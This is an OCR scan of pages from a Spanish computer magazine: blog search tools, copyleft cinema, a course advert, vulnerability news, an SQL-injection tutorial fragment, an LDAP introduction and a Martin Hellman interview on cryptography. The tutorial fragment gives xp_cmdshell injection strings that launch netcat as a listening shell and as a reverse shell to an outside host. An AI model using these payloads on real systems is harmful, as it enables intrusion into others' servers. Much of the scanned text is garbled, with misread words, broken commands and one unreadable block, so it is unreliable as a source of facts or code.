Puedes sindicar los resultados de una bus-
queda para tenerla continuamente actuali-
zada, mediante un hilo de RSS.

- Listados de actualizacion con division
por canales

Puedes hacer ping a la web cada vez que
actualizas, y aparecer en un listado, en
constante renovacion, con la posibilidad de
clasificarlo por canales, segin sea la natura-
leza de la temdtica general del blog, para

a1

ocT Lil=4 § ﬂh'-' m HE I:EG
B HHH . SFHEERE . COH
mm 0 WISITS.

asi ver solo lo que mds se aproxime a tus
intereses.

- Popularidad de un blog

Puedes conocer la popularidad de una bitéd-
cora, viendo la cantidad de blogs que ala
enlazan y una pequena ficha técnica del si-
tio, que incluye una captura reciente, su
ranking y una nube de tags personalizada.

- Lo mas visto

Puedes tomar el pulso a la red conocien-
do en tiempo real que es lo mds buscado
y sobre lo que mds se escribe, ademds de
los videos mas vistos, los blogs mds influ-
yentes, las noticias mds comentadas...

- Directorio

Puedes hacer busquedas temdticas de
blogs, lo que te permitird encontrar nue-
vos sitios que desconocias. Ademds si te
registras podrds, crear tus propias listas de
favoritos, y realizar bisquedas en ellos, o
sindicar las partes que te interesen.

Las posibilidades, como ves, son bastan-
tes amplias, y usadas, en conjunto, ambas
herramientas, pueden ser bastante itiles
tanto para el blogger, como para el usua-
rio que se acerca a la basqueda de infor-
macion actualizada.
Mon Magan
monmagan.com
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redes p2p, la cada vez mejor calidad de
compresion de formatos audiovisuales,
la extension de la mdxima “do it vour-
self” estan posibilitando que cada vez
s8an mas numerosos los creadores au-
diovisuales que apuesten por registrar
sus obras bajo licencias libres v decidan
confiar en la red mas en que en la Para-
mount, Pero sobre todo estin posibili-
tando la desaparicion paulatina de un
imaginario colectivo donde el artista o
cineasta es un ser solitario, aislado,
romdntico v genial encerrado en un cu-
bo esperando a que la bombilla se le en-
cienda v pueda crear “esa obra dnica”.
Cualquiera con una camara digital v un
poco de ingenio puede colgar su obra
en el Youtube v ser famoso por un dia.
Cada vez tiene menos razon de ser el
papel de los intermediarios, cada vez
son mas y mas los creadores audiovisua-
les. ¥ la practica demuestra que es mas
pragmdtico y eficaz poder compartir tu
obra y apostar por una légica recombi-
nante y colaborativa.

Experimentar el multicine
copyleft

Si actualmente Espana estd a la cabeza
de paises que mas obras registran bajo li-
cencias Creative Commons, el mundo
audiovisual ha sido el mas lento enincor-
porarse v el que mas reticencias ha mos-
trado. Un recelo provocado por diversos
factores. La dificultad de poner de acuer
do a quien dirige, quien hace el guidn y
quien crea la misica y el sonido para re-
gistrar una obra bajo una licencia en vias
de exploracién, el miedo a no poderla di-
fundir bien ya que la realizacién puede
tener unos costes econdmicos dificiles de
recuperar, la dependencia de subvencio-
nes piblicas o contratos de emision por
cable y festivales de cine.

Paulatinamente las redes se van abriendo
¥ 5l no que se lo pregunten a Guillermo
Zapata que con su cortometraje Lo que
WU quieras oir | rodado en 35 mm y distri-
buido a 35Mb/s a dia de hoy va va por
las 20.000 descargas. Claro que es un
corto, dirin algunos. Y es que la mayor
resistencia para hacer cine copyleft (que
todo el mundo se lo pueda descargar, co-
piar, modificar) es el miedo a recuperar
el dinero invertido en una produccion.
Agatha Maciaszek codirectora junto a Al-
berto_Garcia del documental A ras del
suelo? lo tiene claro: “Con los medios
tecnologicos que existen hoy en dia es
posible producir una pelicula a bajo cos-
te, lo dificil es la distribucién. Nuestro do-
cumental tiene una licencia Creative
Commons, se puede descargar de la web

y ahora acabamos de sacar el DVD por-
que la gente nos pregunta como conse-
guirlo v aunque esté en la red lo quieren
tener”. En este sentido, el cine copyleft se
topa con la experiencia de la mdsica li-
bre. Mos lo cuentan dos documentales
registrados con licencias libres, Copyright
2.03 I Sostenido con la mudsica a otra
parte™, que se sumergen en el mundo de
los musicos para rebelarnos los proble-
mas que se encuentran cuando topan

_con la SGAE.

Para muchaos, la gran mayoria que nunca
pisard las alfombras rojas, lo importante
no es el dinero, ni la rentabilidad del
producto, sine contar historias, motiva-
dos por una inquietud ética y politica.
Fara Antonio Girdn, codirector junto a
Fernanda Menéndez del documental
Okupando el vacio® *lo fundamental es
la expansion de las ideas, el promover la
circulacidn libre del conocimiento, po-
der colaborar en beneficio del pro-
comun y facilitar al pdblico el acceso a
contenidos culturales”. Algo en lo que
coinciden Agatha y Alberto, autores de
Cimientos, cuya intencidn es denunciar
la especulacidn inmaobiliaria. No son los
tnicos. Iratxe Pérez con Caribefios en el
Shara® o calectives como La Platafor-
ma’ y Eguzki Bideoak®... son ejemplos
documentalistas que estin generando
un material de gran calidad, contando
las otras historias, esas gque nunca sal-
tardn a la gran pantalla pero quedarin
para siempre en nuestros ordenadores,
en la carpeta de “Documentales”, junto
a Michael Moore o Al Gore. ¥ no son
stlo los documentalistas comienzan a
registrar sus obras con licencias libres,
en el dlitimo ano han aparecido obras de
ficcion como Rothko9, Defectos, Todo
mi mundo, The gift o La costumbre de
los circulos'™ que abren camino hacia
un cine diferente.

Del “peer to peer”

al “face to face”

Han quedado a las 20.00, van llegando
poco a poco y cada uno trae una filmaote-
ca propia, celosamente guardada en un
disco duro externo, en un portitil, en una
tarrina de CDs. Pasardn dos horas juntos,
charlando alegremente, descubriendo mi-
les de corrientes artisticas, subculturas y
mundos visuales. Buscan peliculas margi-
nales y comerciales, documentales pro-
pios y ajenos, series de television v radio
de mundos lejanos vy a la vez cercanos. Y
en un par de horas inmercambian mas
peliculas que las que Paramount contie-
ne en su distribuidora nacional. Son re-
des cara a cara: espacios en los que
reconstruir la lista de las mejores pelicu-

HACK DE CINE...

las de la historia, las que a ti te gustan. Es-
pacios como los que crearon los hacklab
de Bilbao, Madrid o Sevilla dentro de la
campana CompartirEsBueno.Net.

Pero las redes digitales, incluso las huma-
nas, no son los dnicos espacios de distri-
bucién del cine alternativo. A la par que
los repositorios multimedia los servidores
libres con suficiente ancho de banda pa-
ra retransmitir en condiciones Gptimas,
son los festivales independientes los que
abanderan la distribucién publica del
nuevo cine sin cadenas. Es el caso de ze-
mos9a 1] que llevan afos aplicados a la
tarea o de la red ZinePohre un experi-
mento que saca a la calle proyecciones
simultdneas en diversas ciudades para
hacer visible lo que no puede cabida en
otros canales de distribucion.

La Muestra de cine de Lavapiés'Z que
se estd convirtiendeo en cita obligada, v
muy especial, de los amantes del buen
cine en Madrid. “Somos una muestra de
cine que no recibe ningdn tipo de sub-
vencion” comentan sus organizadores
“v se realiza en distintos espacios del ba-
rrio de Lavapiés, en las plazas, en solares
abandonados, en bares o asociaciones
culturales.” La Muestra de cine combina
peliculas de gran factura con autopro-
ducciones apostando desde hace afios
por la difusidn de la cultura libre. “Siem-
pre paralelamente a los pases de pelicu-
las ‘mas famosas’ hemos realizado una
convocatoria de autoproducciones, ano
tras anos recibimos mas y mejores. En
las hases de la convocatoria especifica-
mos que le damos valor a las obras re-
gistradas con licencias libres”. Pero
muchos no han pillado todavia de qué
va esto del copyleft. “La mayoria de las
obras que nos llega no tienen copyright,
son muchos los que escriben cosas del
tipo..copia piratea y pasalo... o que re-
chazan explicitamente a VEGAP o la
SGAE.. Pero lo que tiene que empezar
a calar es que si no especificas que tu
obra visual tiene una licencia copyleft
{que puede ser copiada y distribuida li-
bremente) automaticamente adquiere el
copyright mas restrictiva”.

Las licencias CreativeCommons no sélo
pueden permitir la libre distribucion de
la pelicula sino su libre modificacién,
que es mucho mas poderoso. Es el ejem-
plo de la pelicula Lavorare con lentezza
cuyo guion, desarrollade por Wu Ming
(un colectivo de escritores italianos) es
copyleft y por ello pudo ser subtitulada
en espanol libremente por la gente de la
Muestra de Cine de Lavapiés (Madrid).

® o



No hag cine libre

sin software libre

Aparte de subtitular y reutilizar imédgenes,
la creacion colectiva en cine [exprimir el
potencial de la libre modificacidn) no es
sencilla, es dificil cambiar el final de una
pelicula si no tienes a los actores origina-
les... a no ser que la se trate de una pelicu-
la de animacidn. El corto de animacion
Elephant dreams!? es el bugue insignia
de la animacion libre y merece la pena
verlo. Hecho totalmente con software li-
bre dr*s.pllr-g,a todo el potencial de Blender
3D, un programa de disefio y anima-
cion 3D a la altura de Hollywood. Pero no
es el unico programa. Las capturas con
dvgrab siempre son las que mas garantias
dan de que no se te pierda ni un solo fra-
me. Kino y Avidemux siguen siendo pro-
gramas muy fiables e intuitivos para quién
quiere dar sus primeros pasos en el mon-
taje audiovisual, pero Cinelerra permite
una edicién profesional. |ahshakal? aca-
ba de salir a la calle, con el lema Powering
the new Hollywood, permite editar la
post-produccidn sin mds limites que la
imaginacion, ¥ ya no hay excusas para los
no iniciados en el mundo de GNU/Linux,
Ubuntu Studio es una distribucidn libre
pensada por y para el cine digital desde el
ordenador de tu casa.

Mo sdlo de software vive el cine libre. Una
pelicula requiere muchos mas conocimien-
tos. También los hay libres. Vecinos produc:
tions, directores de Terroralia v La
continuidad de las ciudades han hecho al
g0 mds que peliculas copyleft: un completo
manual de cine libre. No tiene desperdicio,

Cartel de la dltima muestra de cine de Lavapiis (Madria),
wn escaparate dol cine rﬂd':;i'mﬁfr&'.lﬂ'ﬁ que cada ado mups-

tra ko major del cine copylh

¥ ofrecer cursos y asesoria

sobre como mederse en esta wvontura gue s el cine Nbre.

nos explican desde como hacer los trucos
digitales, hasta los formatos de compresidn
pasando por las direcciones donde alquilan
los focos de luz mas econdmicos. Incluso el
proyvecto WikiBooks1® cuenta con un ma-
nual (también copyleft) que explica, paso
por paso, todo lo necesario para hacer una
pelicula. Ya sabes, este fin de semana tie-
nes una alternativa diferente a la de ir al ci-
ne. Traértelo a casa..

EVhAck (evhack.info@gmail.com)

1. http:fiwww.loquetuquierasoir.com/

2. www.arasdelsuelo.net

3. http:/iwww.broncoillustration.comicopy-
right_2_ OV

4. http:/'www.akraleukafilms.es/pagesi/docu-
mental.htm|

5. www kinowo.net

6. http:/itheplatform.nuevaradio.org/

1. http:llwww.freewebs.com/garoaproduccio-
nes/

B. hitp:lleguzki_bideoak.interzonas.info

9. www.lamelodiadelcuerpo.com

10. www.guardarcomofilms.com

11. www.zemos98.0rg

12. www.lavapiesdecine.net

13. hitp:/iwww.elephantsdream.org/

14. www.blender.org

15. hitp:/fwww.jahshaka.org/

16. http:/len.wikibooks.org/wikilMovie_ma-
king_manual

Licencia Copyleft

Este texto esta bajo una licencia Creative
Commons Atribucidn-Compartirlgual 2.5:

http://creativecommons.org/licenses/by
-sa/2.5/es/legalcode.es

Se permite la copia, distribucién, repro.
duccion, préstamos y modificacion total
o parcial de este texto por cualquier me-
dio, siempre v cuando se acredite la au-
toria original y la obra resultante se
distribuya bajo los términos de una licen-
cia idéntica a esta.
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La Formacion Profesional
a tu alcance

En CCC llevamos 68 anos formando a
miles de profesionales para encontrar
el trabajo que estaban buscando.

En CCC te preparamos, ademas,
para conseguir el

Titulo Oficial de

Formacion Profesional

- Instalador Electricista
- Auxiliar de Enfermeria
- Auxiliar de Farmacia

- Peluqueria

. . - Esteticista Profesional
. - Cocina Profesional
- Hosteleria

- Albadileria

- Carroceria del Automavil

- Mecanico de Automavil

+ Carpinteria y Ebanisteria

- Tco. Superior en Secretariado
- Auxiliar Administrativo

OTROS CURSOS CCC

- Graduado Eso

- Acceso a la Universidad

. El Inglés con Mil Palabras

+ Chino con la Profesora Yang Yun
- Técnico de Energia Solar

. Construcciéon de Obras

. Profesor de Educacién vial

. Auxiliar de Jardin de Infancia

- Decoracién Profesional

Prozz0zr2 (A
WWW.Cursosccc.com

B Si, deseo recibir informacién detallada del Curso de (*):

Mombre y Apellidos:

= Ak Matricilate estemesy | |
: . consigue GRATIS esta :
lglesias - o Tekiono; estupenda AGENDA _¢‘_f iy
ra de Estudios ELECTRONICA Mo 5!

pL ; ! L@ e
ovecha nuestra experiencia! | 2@
3 ~ Bt - L8 quié hora prefieres que te llamermos? BCH =
Para mas informacion, envia este cupdn a CCC: Apdo. 17222 - 28080 Madrid
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- El mes pasado vimos un poco de fodo desde

cosas para Windows a Linux sin olvidamos de
Apple.

| Este mes vamos a sequir viendo empresas

| famosas, Apple repetira aparicion este mes, Sun

v Novell salen gracias a dos productos famosos
pero, como siempre, tendrés que sequir leyendo
Ipala saber mas porque hasta aqui podemos
BET.

Por algin sitio hay que empezar

' Como por algin flanco hay que empezar y el

mes pasado ya hablamos de diferentes cosas

. 8in que afectara ninguna a la marca de la que

ahora vamos a hablar, pues por ella empezare-
mos. Se trata de Sun Microsystems para mas

| sefnas. El bug que se ha detectado permite que

un atacante pueda llegar a ejecutar codigo arbi-
trario con permisos de administrador. Dicha vul-

administracion de dicho sistema operativo con &l

paquete en cuestion, buscad el parche e insta-
larlo para cerrar el bug.

Manzana, manzanita

Después de haber visto un bug de Sun, vamos a
saltar a Apple, ofro gran fabricante tanto de soft-
ware (;quién no conoce el famoso sistema ope-
rativo de los Macintosh o el iTunes?) como de
maquinas (los afamados Mac).

El bug que hace que Apple salga por aqui en
esla ocasion es uno que afecta a Quicktime, el
reproductor multimedia desarrollado por [a
marca de la manzana.

El bug podria permitir a un atacante ejecutar
codigo arbitrario en la maquina de la victima. La
versidn confirmada como vulnerable es |a exten-
sion Quuicktime VR 7.2.0.240 que viene con la
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Web de [BM
de la informatica desde tiempos inmemoriales.

Como alguno estard ya pensando en una com- |

pafia concreta y a lo mejor no esta acertando
con la “elegida”, vamos a deciros va que esta-
mos hablando de IBM. ;0 acaso alguno estaba
pensando en ofra marca? Anda, no sedis malos
Jue seguro que alguno pensd en ofra de cuyo
nombre ahora no nos acordamos :P

El problema es una vulnerabilidad en el servidor
Informix de IBM que permite a un atacante llegar
a obtener privilegios de root. Al parecer di

vulnerabilidad se debe al insuficiente chequeo |
tuando se procesa la variable de entorno |

DBLANG. La version gue se ha confirmado |

como vulnerable s la Informix Dynamic Server
version 10.00 UCETL instalada en sistemas
Linux, aunque se sospecha que ofras versiones
pudieran ser vulnerables.

ieb die Sun

' incluido en Solaris 10, el sistema operativo desa-

rrollado por Sun para mas sefias.

La vulnerabilidad ha sido confimada en la ver-
sion 10 de Solaris con el paquete SUNWsrspx
instalado. Asi que, si lenéis a vuestro cargo la

(@ E]

. nerabilidad esta en el binario sreexec que viene -

version 7.2 del reproductor (Quicktime Player).
Eso si, esta es la version confirmada como wul-
nerable pero se sospecha que las anteriores
pueden serlo también.

Otra de las grandes
Despues de hablar de Sun y de Apple, vamos a
sequir con ofra de las grandes empresas en esto

vl
SUSE Linus Enbprpeiss Real Time
AR AT & N

Wb e Novall

Entre famosos anda el juego

Como este mes parece que la cosa va de mar-
cas famosas y con solera como son Apple, IBM
y Sun, vamos a seguir con ofra famosa.
Concretamente ahora le toca a Novell,

Exactamente el bug que trae a Novell a esta sec-

Cidn es uno relative a un ermor de validacion de |

entrada en el chiente NetWare que puede permi-

tir a un atacante local ejecutar codigo arbitrario |
dentro del area del kemel. La versidn afectada |

se encuentra en el nwhilter.sys version 4.91.1.1
incluida en el cliente Netware 4.91 SP4 Y, COMO
Ultimamente decimos, las anteriores versiones
no se libran de la sospecha de serlo también.




Esta dltima opcion es la mejor porque es
independiente del idioma del sistema
operativo.

S5 queremos que se ejecute el Netcat ca-
da lunes a las 8:00 de la manana, inyecta-
remos:

¢ exec master..xp cmdshell
at 08:00 fevery:M "nc.exe -L
-d -a cmd.exe -p 20000"'-—-

Peeero cabe la posibilidad de que el servi-
dor vulnerable tenga un firewall que lo
esté protegiendo, en ese caso usariamos
la segunda opcion, que consiste en que
sea el Netcat del servidor vulnerable el
fue se conecte a nosotros. Para ello pri-
mero tenemos que prepararle la bienveni-
da, que consiste en arrancar un Metcat en
nuestro ordenador para que quede a la
escucha vy recibir asi la conexion del Net-
cat del servidor vulnerable. Eso lo conse-
guiremos ejecutando en nuestro PC:

C:\> nc.exe =L -p 20000

Una vez que estamos esperando con los
brazos abiertos al servidor vulnerable, es
el momento de hacer que este se conecte
a nosotros inyectando:

s BXac master. LXp cmadshell
'nc.exe-d -e cmd.axe
sgldever.no=ip.org 20000"—-

Si todo ha salido bien, veréis en vuestro
terminal de M3-DOS como aparece la
consola MS-DOS del servidor vulnerable

=)

Una vez que hayais conseguido la conso-
la en el servidor vulnerable, va dejo a
vuestra imaginacidn los siguientes pasos
que querdis dar, pero como siempre no
me sedis maaalos.

LDAPI
Introduccion

Hay un dicho que reza “NMunca es tarde si
la dicha es buena”, esperamos que sea el
caso ya que esta explicacidn tuvo que ha-
ber aparecido en la entrega 44, pero se
quedd en el badl de los recuerdos.

LDAP son las iniciales de Lightweight Di-
rectory Access Protocol, cuya traduccidn
serfa Protocolo Ligero de Acceso a Directo-
rio. 5e trata de un protocolo a nivel de apli-
cacion, como seria el HTTP o el FTP, que
permite acceder a un servicio de directorio
de manera ordenada v distribuida. En cris-

INYECCION DE CODIGO SQL

tiano, se trata de una agenda de contactos
pero almacenada en un servidor,

El LDAP lo utilizan las organizaciones pa-
ra poder tener un. directorio (en el sentido
de agenda de contactos, no de carpeta
donde almacenar ficheros) centralizado
donde poder almacenar los datos de los
empleados, por ejemplo.

“3Y qué interés puedo vo tener en ver el
directorio de empleados de una empre-
sat”. Muy sencillo, pensad en vuestra
agenda de contactos, la que tengdis en el
Microsoft Outlook por ejemplo. En dicha
agenda anotaréis el nombre, el apellido,
la direccidn, el teléfono, el email y demas
datos de interés sobre las personas como
serian su fecha de nacimiento, la empresa
en la que trabaja... Cada uno anota en su

agenda de contactos aquella informacian
que le es dtil. Para una empresa, la infor-
macion que le puede ser Gtil de los em-
pleados también puede incluir cudl es su
nivel de privilegios en la red, cudl es su
nombre de usuario, cudl es el PC que utili-
za, cudl es la IP de su ordenador... jvais
entendiendo por qué resulta interesante
un servidor LOAP?

De un LDAP se puede sacar mucha infor-
macion que mas adelante se puede em-
plear durante un ataque, siempre
dependiendo que la empresa tenga
LDAP, de que sea accesible por nosotros
y de la cantidad de informacion que alma-
cenen en dicho LDAP.

Un servidor LDAP no es mds que una ba-
se de datos, aunque programada de for-
ma gue se optimice la velocidad de
lectura mas que la de escritura ya que es-
tamos hablando, para que lo entendais,
de que toda una empresa lo va a utilizar
como agenda. Por ejemplo, cada vez que
una persona quiera mandar un correo a
otro companero, no necesita conocer la
direccion de e-mail del companero, bas-
tard con que introduzca en el programa
de correo el nombre del companero des-
tinatario y el programa de correo se ocu-
pard de consultar automdticamente el
LDAFP para localizar cudl es el e-mail del
companero. Estaréis de acuerdo conmigo
en que los datos de contacto de un em-
pleado cambian poco en un ano (momen-
to en el que hace falta hacer una
grabacion en el LDAP), mientras que en-
viarle e-mails (momento en el que se hace
una lectura en el LDAP) puede ocurrir de-
cenas de veces en un dia.

Es muy posible que por LDAP haya mu-
cha gente que no le venga nada a la cabe-
za, pero si os hablo del Domain
Controller {Controlador de Dominio) de
Microsoft o su evolucidn hov dia conoci-
da como Active Directory (Directorio Ac-
tivo) seguramente le sonara a mas de
una. Pues bien, el Active Directory no es
mas que un LDAP adaptado al gusto v ne-
cesidades de Microsoft.

Prometemos no volver a olvidarnos del
LDAP, pero por motivos de espacio ten-
dremos que continuar con ello el mes
que vieneg.

En la praxima entrega:
LDAP Il

Andrés Méndez Barco
Manuel Baleriola Moguel<

@Zﬂ




marim IIEIIIHII. .

mam-mmmﬂmm&ﬁmﬂummm

conforgullo}frikiRUsolunIMadporquelnolhaylordenadorquelfuncionemejorgille
mmummmmwwmmy
Desxello de (b Sedizdkd de b hfrmadtin No (e ko nviads por
mmmmmmymmbmmm
clave]publica%AYese]hombreYdeberiandarle]un{Nobelnosldice]pordenesimatve el
M@@MW@WM@MM
& (b ruedh de prenss que eftees d vzl prefeses, sily cstmes 8 (isies pasfudives,
MesquellaleriptografialnolesRcoo ¥ OFi ]

E




-Lo mas revolucionario hoy en su campo
es |a criptografia cuantica. ;Qué le parece?

-Es una idea muy inteligente y excitante,
pero dicen que hasta dentro de 10 afos
no tendremos que empezar a preocupar-
nos por esto. Y quiza en 10 o 20 ainos
mas no tendra éxito. Lo que debe preocu-
parmos ahora es la informacidn, como los
datos médicos, que deberia ser secreta
durante muchos anos.

-iMe esta diciendo que la criptografia
cuantica rompera las cosas que estamos
cifrando?

-5i. Ahora empieza, es embridnico, adn
no es un problema.

-;Pero lo sera?

-Por eso estamos pensando en algoritmos
para gue no pase.

-Confio en que los encuentren porque
seria un descalabro mundial, podria
usarse para el mal...

-Estamos pensando en usar dos niveles de
criptografia: la de clave pdblica v la con-
vencional, la simétrica, ¥ combinarlas. Si
la criptografia cudntica puede romper la
de clave pdblica, ain estamos protegidos
por la otra. Usando ambos sistemas y
combinando claves, dentro de 30 anos,
en principio, lo que hoy hemos cifrado
podrd seguir siendo seguro,

-Es una idea bonita.

-SIL Y cara, por lo que sdlo puede usarse
para informacion realmente valiosa. Pero
es lo que hay.

-;Utiliza usted cifrado, por ejemplo
Pretty Good Privacy (PGP), en su correo
electronico?

-Jaja, me has pillado. No y la razén es que
no estd integrado en mi programa de co-
rreo. El cifrado, para que sea (til, debe ser
automatico, que lo uses sin darte cuenta.
El problema es que hay muy poca gente
usando PGP en su correo v no hay pre-
sion para integrarlo totalmente. Trabajar
con ordenadores no es ficil para la gente
normal y PGP se les convierte en un pro-
blema mds. La criptografia deberia estar
dentro del programa, de una forma inte-
grada, automitica y transparente.

-Criptografia es sinonimo de privacidad...
-Y autenticacion...

-Pero hoy tenemos poca privacidad. Em-
presas y gobiernos la atacan constante-
mente y la gente, como usted dice, no
parece muy preocupada.

-Deberian estarlo mas, es cierto, Pero
tampoco puedes esperar que una perso-
na "normal” esté educada en este sentido.
La solucién es que los vendedores hagan
mejores productos.

-Pero no los hacen.

Y es terrible. En muchos casos la cripto-
grafia no es cara, sdlo poner un poco mais
de codigo en el programa, pero no lo ha-
cen porque a la gente no le preocupa. Lo
harian si, dentro de seis meses, hubiese
un gran desasire y viesen que podra ha-
berse evitado usando cifrado. Entonces,
todos lo usarian.

-Es que las empresas no protegen ni su
propia informacion. Ves estos sistemas
de anticopia, Digital Rights Management
(DRM), con codigos que se rompen ca-
da dia...

-El problema es que muchos son disena-
dos por gente que no entiende de cripto-
grafia. El DRM de BlueRay, por ejemplo,

Martin Helman con Jorge Ramid
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rompieron una parte pero hay otra, que
disend Paul Kocher, muy muy buena: Self
Protecting Digital Content (SPDC). Es una
técnica muy inteligente, el sistema estd en
el DV, no en el reproductor, v es muy
dificil de romper. Incluso si alguien descu-
bre cémo funciona, tienen otro prepara-
do. De esta forma pueden caer algunos
DVDs, pero los mas valiosos siempre
estan protegidos. Es un juego de ajedrez
constante.,

-Del raton y el gato.

-5i. La industria suele dedicarse a cambiar
cada dos por tres los disefios de sus siste-
mas. Pero en este caso el mismo jugador
sigue jugando y protegiendo los nuevos
discos, no tienes que cambiar todos los
reproductores porque el cambio es sélo
en el DVD. No digo que sea el sisterna
perfecto, pero serd muy bueno con el
tiempao,

-Personalmente no estoy a favor de pro-
teger con DRM la informacion, que creo
deberia ser libre.

-5i, como consumidor tampoco me gusta,
pero como criptélogo es una buena idea.

-Volvamos otra vez a la concepcion que
tiene la gente de la criptografia como al-
g0 esolérico...




| Y LA CONVENCIONAL, LA S

| TRICA, Y COMBINARLAS. SILA
CRIPTOGRAFIA CUANTICAIPUE-
DE ROMPER LA DE CLAVE

-Mira: Internet es horriblemente insegura,
estd disenada para serlo. Al principio per-
tenecia a los militares que, entre otros
usos, tenian una aplicacién militar en
mente: comunicarse en caso de guerra
nuclear.

-Creia que esto era una leyenda urbana...

-Mo, no. Es cierto. Los militares decian
que debia haber un sistema de comunica-
ciones que sobreviviese en una guerra nu-
clear, incluso si un nodo era destruido.
Debia ser un sistema autoorganizado sin
control central.

-5i.

-Por tanto, la red se disend para ser fiable,
pero no en términos de privacidad por-
que, en el mundo militar, el cifrado se en-
tiende de un punto a otro punto: yo cifro
aqui, en mi terminal, la informacidn corre
por una red insegura y abierta, protegida
por el cifrado, v cuando llega a tu termi-
nal la descifras. No necesitas una red se-
gura en medio. Asi, las redes abiertas son
disenadas para ser inseguras, Internet
también. ¥ agui vamos a tu pregunta.

-$Qué le importa la criptografia a la gen-
te normal?

-Cuando doy una charla a gente no técni-

o

ca suelo preguntarles: ;Cudntos de uste-
des usan cifrado? Nadie levanta la mano.
Después pregunto: jCudntos han com-
prado en Internet con tarjeta de crédito?
Y todo el mundo la levanta. Entonces les
digo: Pues ustedes han usado cifrado, pe-
ro no lo saben porque es automdtico y
fransparente.

-Exacto.

Y es asi como debe funcionar el cifrado:
que la gente no deba hacer nada espe-
cial. En Internet tenemos un sistemna, lla-
mado S50 (Secure Sockets Layer). En
1994, Tahar Al-Gamal, jefe de investiga-
cion en Metscape, me mandd un mail
porque estaba trabajando en criptografia
y necesitaba ayuda. Le sugeri dos estu-
diantes mios, uno era Paul Kocher, A-Ga-
mal lo contratéd como consultor v Kocher
dised la version 3 de SSL. La 2 tenia mu-
chos agujeros de seguridad, pero la que
disend Paul es la misma que se esta usan-
do hoy, con muy pocos cambios. Cuando
la gente compra algo en Internet, SSL 3
esta protegiendo su informacidn con crip-
tografia de clave piblica, que inventé con
Whitfield Diffie v Ralph Merkle.

-;Como llegaron a esta idea revoluciona-
riaf

-Merkle estudiaba en Berkeley v llegd a

ello por si mismo, independientemente
de nosotros. Diffie v yo estdbamos en
Stanford. Tuvimos esta idea entendiendo
algo muy sencillo: hay un problema en el
mundo militar y es que necesitas un cédi-
g0 muy seguro para trabajar, pero si cae
en manos del enemigo también puede
usarlo y es igualmente muy fuerte. Por
tanto, tienes un problema.

-5i.

-Pero si pones una trampa, no. Imagina
que tienes un millon de llaves y sabes que
una abre la puerta: quien tenga el conoci-
miento de esta llave podrd abrirla, pero el
resto no. Un "codigo-puerta trasera” seria
esto: una vulnerabilidad que esta escondi-
da, de forma que si mis oponentes inten-
tan usar este cddigo yo conozco la
vulnerabilidad v puedo romper sus trans-
misiones, pero cuando yo lo uso, ellos no
conocen el agujero. Nos dimos cuenta de
esto antes de llegar a la criptografia de
clave piblica, que fue sélo un paso mas.
La gente suele decirme: ;Como pensas-
teis en algo tan revolucionario? ¥ les con-
testo: ;Como nadie lo habia pensado
antes?

-;El gobierno norteamericano les pre-
siono para que no trabajasen en esto?

-Mientras investigabamos, no. Pero cuan-



do lo publicamos, si. La comunidad de in-
teligencia nos estuvo molestando bastante.
La National Security Agency (NSA) intentd
clasificar nuestro trabajo, argumentando
que las investigaciones en ciertas dreas,
entre ellas la criptografia, eran "clasifica-
bles por defecto®. Aunque nosotros no
habiamos tenido acceso a informacion cla-
sificada para nuestras investigaciones, el
resultado debia ser clasificado.

Pues vaya.

-Entonces, en los anos 70, la NSA se dedi-
caba a atacar a la gente de las universida-
des como vyo, pero no lo hacia
abiertamente. Habia un chiste sobre la

MSA que decia que sus siglas significaban
"No Such Agency” o "Mever Say Anyt-
hing. Ibas a conferencias y veias a gente
de la NSA o de la CIA, pero su tarjeta
nunca ponia los nombres de estas agen-
cias, como ahora, sino Departamento de
Defensa, v sabias que era la N5A, o US
Government, v sabias que era la CIA.

-Jaja.

Mo vinieron directamente a mi para de-
cirme qgue estaba violando la ley. Una
persona envid una carta amenazante a la
universidad. La mandd desde la direccidn
de su casa. También nos envid una copia
de la ley, donde ponia que podiamos ir
10 anos a la carcel v pagar 50.000 déla-
res de multa.

A hpsIAYE-ar- S MARTIN E. HELLMAN

-3Y qué hicieron?

-La universidad decidié asumir mi defen-
sa. El abogado me dijo que lo vela como
un caso de libertad de expresion y asi lo
defenderia. 5i nos declaraban culpables,
apelaria las veces que hicieran falta pero,
si perdiamos todas las apelaciones, dijo:
Primero, no podremos ir a prisién por ti'y,
segundo, no podremos pagar tu fianza
porque, si te han declarado culpable, la
universidad no puede pagar la fianza de
alguien que ha violado la ley.

-iQué peligro!

-También me dijo que en breve teniamos

un simposio en la universidad y dos estu-
diantes, Steve Pohlig v Ralph Merkle, pre-
sentarian unas investigaciones que
podrian exigimos que fuesen clasificadas.
Me recomendd que fuese yo, el profesor,
quien las presentase, ya que la universi-
dad podia defenderme a mi pero no a los
estudiantes. Se lo comenté a los chicos
pero ellos dijeron que no importaba, que
presentarian sus investigaciones desafian-
do la ley. La cosa cambid cuando habla-
ron con sus padres.

-Jeje.

-Acabé presentando yo sus investigacio-
nes, explicando que eran obra de los es-
tudiantes, para que tuviesen su merecido
reconocimiento, y el por qué no habian

podido presentarlas ellos. Fue un gran
drama v, al final, lamd mds la atencidn es-
to que las propias investigaciones.

-;Hubo juicio?
- 0.

-jLa NSA nunca le pidié que trabajase
para ellos?

-Antes de inventar la criptogratia de clave
publica, vino gente de la NSA a ofrecer-
me lrabajo, pero les dije que no porgue
me gustaba publicar mis investigaciones,
no que fuesen clasificadas. En nuestra
area, en el momento en que entras en

Martin Hellman posa con Huge Scodmik

contacto con informacion clasiticada
estds vendido. Por eso mi respuesta fue
no. En aguellos tiempos, los 70, tenia la
imagen de que la N5A eran los malos,
Darth Vader, v yo era Luke Skywalker.

-Muy bueno.

-Pero, en los 80, hubo diversos terremo-
tos en mi vida personal y me di cuenta de
que mi percepcion subjetiva de las cosas
no era la verdad absoluta. Uno de estos
terremotos fue mi matrimonio: mi esposa
es una mujer, desde mi punto de vista tie-
ne algunas ideas locas y esas cosas... Asi,
este v otros temas me hicieron ver que la
forma como yo veia el mundo no tenia
porgué ser necesariamente la verdad.

®:s
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“CUANDO DOY UNA CHARLA A GENTE NO TECNICA SUELO
PREGUNTARLES: ; CUANTOS DE USTEDES USAN CIFRADO?
NADIE LEVANTA LA MANO. DESPUES PREGUNTO: ; CUAN-
TOS HAN COMPRADO EN INTERNET CON TARJETA DE CRE-
DITO? Y TODO EL MUNDO LA LEVANTA. ENTONCES LES
DIGO: PUES USTEDES HAN USADO CIFRADO, PERO NO LO
SABEN PORQUE ES AUTOMATICO Y TRANSPARENTE"

@

Cierto.

-En muchas ocasiones, tienes la diatriba:
iEsto es A o es B! Mi mujer es una espe-
cialista en esto, lo que ella llama "La gran
